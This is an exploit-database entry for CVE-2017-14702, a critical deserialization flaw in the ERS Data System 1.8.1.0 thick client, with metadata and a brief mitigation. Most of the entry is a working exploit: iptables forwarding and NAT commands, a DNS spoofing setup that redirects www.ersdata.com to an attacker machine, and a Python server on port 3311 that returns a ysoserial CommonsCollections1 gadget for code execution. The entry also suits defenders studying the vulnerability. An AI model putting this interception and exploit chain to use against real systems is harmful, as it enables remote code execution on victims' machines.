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vendor:
ERS Data System
by:
West Shepherd
9,8
CVSS
CRITICAL
Deserialize Vulnerability
502
CWE
Product Name: ERS Data System
Affected Version From: 1.8.1.0
Affected Version To: 1.8.1.0
Patch Exists: YES
Related CWE: CVE-2017-14702
CPE: a:ersdata:ers_data_system:1.8.1.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 x86
2017

ERS Data System 1.8.1 Deserialize Vulnerability

ERS Data System 1.8.1 allows remote attackers to execute arbitrary code, related to the use of com.branaghgroup.ecers.update.UpdateRequest deserialization. To exploit this vulnerability, an attacker can enable packet forwarding and poison DNS requests to the www.ersdata.com domain. Then, the attacker can run a request handler on the attacking machine, which will answer all requests with malicious serialized gadgets.

Mitigation:

Ensure that the ERS Data System thick client is connecting to the www.ersdata.com API via an encrypted connection on TCP port 3311.
Source

Exploit-DB raw data:

# Exploit Title: ERS Data System 1.8.1 Deserialize Vulnerability
# Google Dork: N/A
# Date: 9/21/2017
# Exploit Author: West Shepherd
# Vendor Homepage: http://www.ersdata.com
# Software Link: www.ersdata.com/downloads/ErsSetup.exe
# Version: 1.8.1.0
# Tested on: Windows 7 x86
# CVE : CVE-2017-14702

# Description:
# ERS Data System 1.8.1.0 allows remote attackers to execute arbitrary code, related to the use of 
# com.branaghgroup.ecers.update.UpdateRequest deserialization.

# Exploitaiton:
# The ERS Data System thick client connects to the www.ersdata.com API via an unencrypted HTTP connection on TCP port 3311. 
# To redirect requests from the thick client to the attacking machine, enable packet forwarding:

#!/bin/bash
#echo 1 > /proc/sys/net/ipv4/ip_forward
#iptables -F INPUT
#iptables -F FORWARD
#iptables -F OUTPUT
#iptables -F -t nat
#iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
#iptables -t nat -A POSTROUTING -s 192.168.85.0/24 ! -d 192.168.85.0/24 -j MASQUERADE
#iptables -P INPUT ACCEPT
#iptables -P FORWARD ACCEPT
#iptables -P OUTPUT ACCEPT

# Then poison DNS requests to the www.ersdata.com domain:

# DNS Spoof https://github.com/devleoper/arp-dns-spoof
# root@kali:/usr/share/arp-dns-spoof# cat dns_packet_spoof.py | egrep "domain =|localIP ="
# domain = 'www.ersdata.com' # domain to be spoofed
# localIP = '192.168.85.131' # IP address for poisoned hosts.

# Run the request handler on the attacking machine, which will answer all requests with malicous serialized gadgets. For example:

#!/usr/bin/python
import SocketServer, sys
from SimpleHTTPServer import SimpleHTTPRequestHandler

# POST Handler
class HTTPHandler(SimpleHTTPRequestHandler):		
	def __init__(self,req,client_addr,server):
		SimpleHTTPRequestHandler.__init__(self,req,client_addr,server)	
	def do_POST(self):
		# java -jar ysoserial-master-v0.0.5-g1f2e7bf-14.jar CommonsCollections1 calc.exe > calc.bin
		# python -c 'import binascii, re;print "\\x"+"\\x".join(re.findall("..",binascii.hexlify(open("calc.bin","rb").read())))'
		response = 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		)
		self.send_response(200)
		self.send_header("Content-type", "text/html")
		self.send_header("Content-length", len(response))
		self.end_headers()
		self.wfile.write(response)		
try:		
	httpd = SocketServer.TCPServer(("", 3311), HTTPHandler)
	print "Serving at port: ", 3311
	httpd.serve_forever()	
except:
	print "Exiting..."

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